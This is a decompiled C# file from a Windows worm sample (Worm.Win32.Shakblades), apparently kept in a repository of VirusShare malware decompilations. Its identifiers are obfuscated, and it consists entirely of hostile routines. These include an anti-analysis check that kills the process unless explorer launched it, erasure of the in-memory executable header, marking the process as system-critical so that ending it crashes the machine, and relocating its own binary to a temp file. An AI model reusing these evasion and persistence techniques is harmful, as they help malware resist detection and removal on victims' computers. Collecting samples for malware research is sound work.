Files
2022-08-18 06:28:56 -05:00

79 lines
2.1 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Decompiled with JetBrains decompiler
// Type: Ҧ߲๒ʽ໙ୄᴘ.Ѡኑ
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Management;
namespace Ҧ߲ʽ
{
public static class Ѡ
{
public static void و()
{
if (ȩזڹ.\u17C1\u0F08ሜᅧᏀᒾ\u0EFB᪲)
Ѡ.();
if (ȩזڹ.\u1943ᤖᤠᗎ && !Ѡ.\u0594ᢆ)
Process.GetCurrentProcess().Kill();
if (!ȩזڹ.\u1A98ᐖᅹ\u10CEጆ\u0AFFÕဥ)
return;
Ѡ.Ҟ();
}
public static void ()
{
try
{
IntPtr num = \u0667Ѹ.\u1395้ỿ((string) null);
\u0667Ѹ.\u171F\u1B67ΨƱࠏ(num, 512U, 4U, out uint _);
\u0667Ѹ.\u0CC4\u1C9B\u1BFD(num, (IntPtr) 512);
}
catch
{
}
}
public static void Ҟ()
{
try
{
int num = 1;
\u0667Ѹ.(Process.GetCurrentProcess().Handle, 29, ref num, 4);
}
catch
{
}
}
public static bool \u0594ᢆ
{
get
{
using (ManagementObject managementObject = new ManagementObject("win32_process.handle='" + Process.GetCurrentProcess().Id.ToString() + "'"))
{
managementObject.Get();
return !(Process.GetProcessById(Convert.ToInt32(managementObject["ParentProcessId"])).ProcessName.ToLower() != "explorer");
}
}
}
public static void \u1C59ḩฅ්Ꮱ()
{
try
{
string tempFileName = Path.GetTempFileName();
File.Delete(tempFileName);
string destFileName = tempFileName.Replace(".tmp", ".exe");
File.Move(Process.GetCurrentProcess().MainModule.FileName, destFileName);
}
catch
{
}
}
}
}